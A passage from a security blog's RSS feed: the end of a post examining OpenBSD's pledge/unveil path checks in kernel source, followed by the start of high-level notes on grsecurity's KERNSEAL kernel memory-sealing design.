&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;ni&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ni_cnd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cn_flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BYPASSUNVEIL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* &amp;quot;tty&amp;quot; - readpassphrase(3), getpass(3) */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;PLEDGEPATH_TTY&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;ple&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PLEDGE_TTY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PLEDGE_RPATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PLEDGE_WPATH&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;ni&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ni_cnd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cn_flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BYPASSUNVEIL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* &amp;quot;getpw&amp;quot; requirements */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;PLEDGEPATH_SPWD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* XXX should remove nip check! */&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;ple&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PLEDGE_GETPW&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PLEDGE_RPATH&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EPERM&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;PLEDGEPATH_PWD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* FALLTHROUGH */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;PLEDGEPATH_GROUP&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* FALLTHROUGH */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;PLEDGEPATH_NETID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;ple&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PLEDGE_GETPW&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PLEDGE_RPATH&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;ni&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ni_cnd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cn_flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BYPASSUNVEIL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* &amp;quot;dns&amp;quot; requirements */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;PLEDGEPATH_RESOLVCONF&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* FALLTHROUGH */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;PLEDGEPATH_HOSTS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* FALLTHROUGH */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;PLEDGEPATH_SERVICES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* FALLTHROUGH */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;PLEDGEPATH_PROTOCOLS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;ple&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PLEDGE_DNS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PLEDGE_RPATH&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;ni&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ni_cnd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cn_flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BYPASSUNVEIL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* tzset() often happen late in programs */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;PLEDGEPATH_LOCALTIME&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="cm"&gt;/* FALLTHROUGH */&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;PLEDGEPATH_ZONEINFO&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PLEDGE_RPATH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;ni&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ni_cnd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cn_flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BYPASSUNVEIL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;panic&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;pledgepaths table is broken&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;#endif &lt;/span&gt;&lt;span class="cm"&gt;/* SMALL_KERNEL */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// […]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Maybe it's worth reading emails in their entirety after all, instead of only
the first paragraph, as it ended with:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The list of promises and the special paths which could previously be
opened under that promise is:&lt;/p&gt;
&lt;p&gt;stdio
  /dev/null (rpath or wpath)
  /etc/localtime
  /usr/share/zoneinfo&lt;/p&gt;
&lt;p&gt;tty
  /dev/tty (rpath or wpath)&lt;/p&gt;
&lt;p&gt;dns
  /etc/resolv.conf
  /etc/hosts
  /etc/services
  /etc/protocols&lt;/p&gt;
&lt;p&gt;getpw
  /etc/group
  /etc/netid
  /etc/pwd.db (the .db files really should be left to the system)
  /etc/spwd.db (could not open, but returned EPERM)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For non-root users, this looks pretty solid.
As a small consolation, it might still be a valid bypass on OpenBSD with a
compiled with &lt;code&gt;SMALL_KERNEL&lt;/code&gt;, but OpenBSD being what it is, &lt;code&gt;-current&lt;/code&gt; doesn't
compile with the &lt;code&gt;SMALL_KERNEL&lt;/code&gt; option, and I can't be arsed to fix it:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="go"&gt;openbsd# make&lt;/span&gt;
&lt;span class="go"&gt;cc -g -Werror -Wall -Wimplicit-function-declaration  -Wno-pointer-sign  -Wframe-larger-than=2047 -Wno-address-of-packed-member -Wno-constant-conversion  -Wno-unused-but-set-variable -Wno-gnu-folding-constant -mcmodel=kernel -mno-red-zone -mno-sse2 -mno-sse -mno-3dnow  -mno-mmx -msoft-float -fno-omit-frame-pointer -ffreestanding -fno-pie -msave-args -mno-retpoline -fcf-protection=none -Oz  -pipe -nostdinc -I/sys -I/usr/src/sys/arch/amd64/compile/GENERIC/obj -I/sys/arch  -I/sys/dev/pci/drm/include  -I/sys/dev/pci/drm/include/uapi  -I/sys/dev/pci/drm/amd/include/asic_reg  -I/sys/dev/pci/drm/amd/include  -I/sys/dev/pci/drm/amd/amdgpu  -I/sys/dev/pci/drm/amd/display  -I/sys/dev/pci/drm/amd/display/include  -I/sys/dev/pci/drm/amd/display/dc  -I/sys/dev/pci/drm/amd/display/amdgpu_dm  -I/sys/dev/pci/drm/amd/pm/inc  -I/sys/dev/pci/drm/amd/pm/legacy-dpm  -I/sys/dev/pci/drm/amd/pm/swsmu  -I/sys/dev/pci/drm/amd/pm/swsmu/inc  -I/sys/dev/pci/drm/amd/pm/swsmu/smu11  -I/sys/dev/pci/drm/amd/pm/swsmu/smu12  -I/sys/dev/pci/drm/amd/pm/swsmu/smu13  -I/sys/dev/pci/drm/amd/pm/swsmu/smu14  -I/sys/dev/pci/drm/amd/pm/powerplay/inc  -I/sys/dev/pci/drm/amd/pm/powerplay/hwmgr  -I/sys/dev/pci/drm/amd/pm/powerplay/smumgr  -I/sys/dev/pci/drm/amd/pm/swsmu/inc  -I/sys/dev/pci/drm/amd/pm/swsmu/inc/pmfw_if  -I/sys/dev/pci/drm/amd/display/dc/inc  -I/sys/dev/pci/drm/amd/display/dc/inc/hw  -I/sys/dev/pci/drm/amd/display/dc/clk_mgr  -I/sys/dev/pci/drm/amd/display/dc/dccg  -I/sys/dev/pci/drm/amd/display/dc/dio  -I/sys/dev/pci/drm/amd/display/dc/dpp  -I/sys/dev/pci/drm/amd/display/dc/dsc  -I/sys/dev/pci/drm/amd/display/dc/dwb  -I/sys/dev/pci/drm/amd/display/dc/hubbub  -I/sys/dev/pci/drm/amd/display/dc/hpo  -I/sys/dev/pci/drm/amd/display/dc/hwss  -I/sys/dev/pci/drm/amd/display/dc/hubp  -I/sys/dev/pci/drm/amd/display/dc/dml2  -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21  -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/inc  -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_core  -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_dpmm  -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_mcg  -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_pmo  -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/dml2_standalone_libraries  -I/sys/dev/pci/drm/amd/display/dc/dml2/dml21/src/inc  -I/sys/dev/pci/drm/amd/display/dc/mmhubbub  -I/sys/dev/pci/drm/amd/display/dc/mpc  -I/sys/dev/pci/drm/amd/display/dc/opp  -I/sys/dev/pci/drm/amd/display/dc/optc  -I/sys/dev/pci/drm/amd/display/dc/pg  -I/sys/dev/pci/drm/amd/display/dc/resource  -I/sys/dev/pci/drm/amd/display/modules/inc  -I/sys/dev/pci/drm/amd/display/modules/hdcp  -I/sys/dev/pci/drm/amd/display/dmub/inc  -I/sys/dev/pci/drm/i915 -DDDB -DDIAGNOSTIC -DKTRACE -DACCOUNTING -DKMEMSTATS -DPTRACE -DPOOL_DEBUG -DCRYPTO -DSYSVMSG -DSYSVSEM -DSYSVSHM -DUVM_SWAP_ENCRYPT -DFFS -DFFS2 -DUFS_DIRHASH -DQUOTA -DEXT2FS -DMFS -DNFSCLIENT -DNFSSERVER -DCD9660 -DUDF -DMSDOSFS -DFIFO -DFUSE -DSOCKET_SPLICE -DTCP_ECN -DTCP_SIGNATURE -DINET6 -DIPSEC -DPPP_BSDCOMP -DPPP_DEFLATE -DPIPEX -DMROUTING -DMPLS -DBOOT_CONFIG -DUSER_PCICONF -DAPERTURE -DMTRR -DNTFS -DSUSPEND -DHIBERNATE -DSMALL_KERNEL -DPCIVERBOSE -DUSBVERBOSE -DWSDISPLAY_COMPAT_USL -DWSDISPLAY_COMPAT_RAWKBD -DWSDISPLAY_DEFAULTSCREENS=&amp;quot;6&amp;quot; -DX86EMU -DI915 -DONEWIREVERBOSE -DMAXUSERS=80 -D_KERNEL -MD -MP  -c /sys/dev/acpi/acpibtn.c&lt;/span&gt;
&lt;span class="go"&gt;/sys/dev/acpi/acpibtn.c:292:12: error: use of undeclared identifier &amp;#39;pwr_action&amp;#39;&lt;/span&gt;
&lt;span class="go"&gt;  292 |                         switch (pwr_action) {&lt;/span&gt;
&lt;span class="go"&gt;      |                                 ^&lt;/span&gt;
&lt;span class="go"&gt;1 error generated.&lt;/span&gt;
&lt;span class="go"&gt;*** Error 1 in /usr/src/sys/arch/amd64/compile/GENERIC (Makefile:2680 &amp;#39;acpibtn.o&amp;#39;)&lt;/span&gt;
&lt;span class="go"&gt;openbsd#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So who knows.&lt;/p&gt;
&lt;p&gt;(Thanks to K3 for looking into this with me.)&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Thu, 02 Apr 2026 14:30:00 +0200</pubDate><guid isPermaLink="false">tag:dustri.org,2026-04-02:/b/a-quick-look-at-__pledge_open2.html</guid><category>security</category></item><item><title>Quick notes on KERNSEAL</title><link>https://dustri.org/b/quick-notes-on-kernseal.html</link><description>&lt;p&gt;The mysterious unreadable &lt;code&gt;kernseal.txt&lt;/code&gt; file on &lt;a href="https://pax.grsecurity.net/docs/index.html"&gt;PaX' documentation
page&lt;/a&gt; has been sitting there since
2003, described as "sealed kernel storage design &amp;amp; implementation." In 2006, it
was &lt;a href="https://forums.grsecurity.net/viewtopic.php?f=1&amp;amp;t=1733#p6920"&gt;described
as&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;the problem KERNSEAL sets out to solve is kernel self-protection, that is,
assuming arbitrary read/write access to kernel memory (by some bug, but for all
i care, it could even be a mode 777 /dev/mem as well), the goal is to prevent
privilege elevation (vs. privilege abuse which is an even harder problem to
solve).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After many years of &lt;code&gt;KERNSEAL ETA WEN&lt;/code&gt; jokes on &lt;code&gt;#grsecurity&lt;/code&gt;, it was finally
made available to &lt;a href="https://grsecurity.net"&gt;grsecurity&lt;/a&gt; beta customers &lt;a href="https://twitter.com/grsecurity/status/1692643521025499474"&gt;in August
2023&lt;/a&gt; and 
to LTS ones &lt;a href="https://twitter.com/grsecurity/status/1745264708867772545"&gt;in January
2024&lt;/a&gt;. I was eagerly
expecting &lt;a href="https://infosec.exchange/@minipli"&gt;minipli&lt;/a&gt;'s blogpost on the topic,
but since none got published so far, I endeavoured to read an old patch a
friend of mine was kind enough to sling my way, and take/publish some
high-level notes while waiting for it, as
&lt;a href="https://twitter.com/grsecurity/status/1651743064480796673"&gt;apparently&lt;/a&gt; the
diff for &lt;code&gt;pax-linux-6.2.13-test6-kernseal-only.patch&lt;/code&gt; is "only" &lt;code&gt;66 files
changed, 1118 insertions(+), 361 deletions(-)&lt;/code&gt;. Odds are that most of my
understanding is completely wrong nonetheless, so take everything written here
with a mountain of salt. Also, I took an old patch and left some bits out out
of courtesy, as grsecurity isn't freely available anymore.&lt;/p&gt;
&lt;p&gt;The main idea behind &lt;code&gt;PAX_KERNSEAL&lt;/code&gt; seems to be the &lt;em&gt;constification&lt;/em&gt; of
dynamically allocated objects, a bit like
&lt;a href="https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Automatically_constify_eligible_structures"&gt;&lt;code&gt;PAX_CONSTIFY_PLUGIN&lt;/code&gt;&lt;/a&gt;
is doing for static ones, as well as completely hiding some of them as well.
It depends on a couple of things to enforce its
security invariants:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PaX' &lt;a href="https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf"&gt;RAP&lt;/a&gt;,
  to prevent existing code out-of-(intended)-order execution, otherwise an
  attacker could simply ROP their way around KERNSEAL.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PAX_PRIVATE_KSTACKS&lt;/code&gt;, to defend against kthreads manipulating each other
  return addresses after RAP checks.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CONFIG_PAX_PER_CPU_PGD&lt;/code&gt;, to prevent other kthreads from accessing
  temporarily unsealed pages on a given CPU.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CONFIG_PAGE_TABLE_ISOLATION&lt;/code&gt;, of course.&lt;/li&gt;
&lt;li&gt;Not having hibernation nor &lt;a href="https://en.wikipedia.org/wiki/Kexec"&gt;kexec&lt;/a&gt; support.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It introduces two new page states via 
&lt;a href="https://www.kernel.org/doc/html/latest/core-api/memory-allocation.html"&gt;GFP&lt;/a&gt;
flags, and stores those properties in the &lt;code&gt;struct page&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;__GFP_SEALED&lt;/code&gt;/&lt;code&gt;PG_sealed&lt;/code&gt;: The page is mapped &lt;strong&gt;read-only&lt;/strong&gt; in the direct
   map (the linear mapping of all physical memory.)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__GFP_HIDDEN&lt;/code&gt;/&lt;code&gt;PG_hidden&lt;/code&gt;: The page is mapped &lt;strong&gt;invalid&lt;/strong&gt; (completely
   unmapped) in the direct map, so contents can't be read or written through
   the normal direct-map address.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;New corresponding migrate types (&lt;code&gt;MIGRATE_SEALED&lt;/code&gt; and &lt;code&gt;MIGRATE_HIDDEN&lt;/code&gt;) are
added to the buddy allocator, ensuring that sealed and hidden pages are grouped
together in dedicated pageblocks. Of course those types are non-mergeable,
preventing the allocator from stealing sealed/hidden blocks for normal
allocations.&lt;/p&gt;
&lt;p&gt;When a pageblock is set up for sealed or hidden use, &lt;code&gt;pax_setup_pageblock()&lt;/code&gt;
walks the PMD entries in the direct map and applies
&lt;code&gt;pmd_wrprotect()&lt;/code&gt; (for sealed) or &lt;code&gt;pmd_mkinvalid()&lt;/code&gt; (for hidden), followed by a
TLB flush. After allocation, &lt;code&gt;post_alloc_hook()&lt;/code&gt; verifies that page flags match
the requested GFP flags (sealed pages must have &lt;code&gt;PG_sealed&lt;/code&gt;, etc.), and updates
per-node statistics (&lt;code&gt;NR_SEALED&lt;/code&gt;, &lt;code&gt;NR_HIDDEN&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;As hidden pages have no valid direct-map mapping, the kernel needs a way to
temporarily access them, which is done via &lt;code&gt;pax_expose_page&lt;/code&gt;/&lt;code&gt;pax_hide_page&lt;/code&gt;
pair, a bit like
&lt;a href="https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Enforce_non-executable_kernel_pages"&gt;&lt;code&gt;KERNEXEC&lt;/code&gt;&lt;/a&gt;'s
&lt;code&gt;pax_open_kernel&lt;/code&gt;/&lt;code&gt;pax_close_kernel&lt;/code&gt; are doing to keep the kernel code
read-only.&lt;/p&gt;
&lt;p&gt;A dedicated &lt;code&gt;KM_USER_SLOT&lt;/code&gt; is reserved for KERNSEAL kmap operations, and every
&lt;code&gt;kmap&lt;/code&gt;-related call is hooked: if the page is hidden, it goes through
&lt;code&gt;pax_expose_page()&lt;/code&gt; to create a temporary per-CPU mapping; if sealed, access is
blocked entirely with &lt;code&gt;VM_BUG_ON_PAGE_ALWAYS&lt;/code&gt;, dumping the page and calling
&lt;code&gt;BUG()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A new kmalloc cache type (&lt;code&gt;KMALLOC_SEALED&lt;/code&gt;) is added, to allow the kernel to
allocated sealed data on a lower granularity than page-level. Temporarily
unseal capability (for initialization for example) is provided by
&lt;code&gt;pax_open_seal()&lt;/code&gt;/&lt;code&gt;pax_close_seal()&lt;/code&gt;, which are simply wrappers around
&lt;code&gt;pax_open_kernel&lt;/code&gt; and &lt;code&gt;pax_close_kernel&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The most obvious usage of &lt;code&gt;KERNSEAL&lt;/code&gt; on the patch I have is on &lt;code&gt;struct cred&lt;/code&gt;:
The mutable fields (&lt;code&gt;usage&lt;/code&gt;, &lt;code&gt;rcu&lt;/code&gt;, &lt;code&gt;non_rcu&lt;/code&gt;) are split into a separate
&lt;code&gt;struct cred_rw&lt;/code&gt;, while the &lt;code&gt;cred&lt;/code&gt; structure itself is marked
&lt;code&gt;__mutable_const&lt;/code&gt;, with the &lt;code&gt;rw&lt;/code&gt; portion being actually a pointer to
separately-allocated mutable memory:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt; &lt;/span&gt;*/
&lt;span class="w"&gt; &lt;/span&gt;struct cred {                                                                       
&lt;span class="gd"&gt;-       atomic_long_t   usage;&lt;/span&gt;
&lt;span class="gi"&gt;+       struct cred_rw {&lt;/span&gt;
&lt;span class="gi"&gt;+               /* RCU deletion */&lt;/span&gt;
&lt;span class="gi"&gt;+               union {&lt;/span&gt;
&lt;span class="gi"&gt;+                       int non_rcu;            /* Can we skip RCU deletion? */&lt;/span&gt;
&lt;span class="gi"&gt;+                       struct rcu_head rcu;    /* RCU deletion hook */&lt;/span&gt;
&lt;span class="gi"&gt;+               };&lt;/span&gt;
&lt;span class="gi"&gt;+#ifdef CONFIG_PAX_KERNSEAL      &lt;/span&gt;
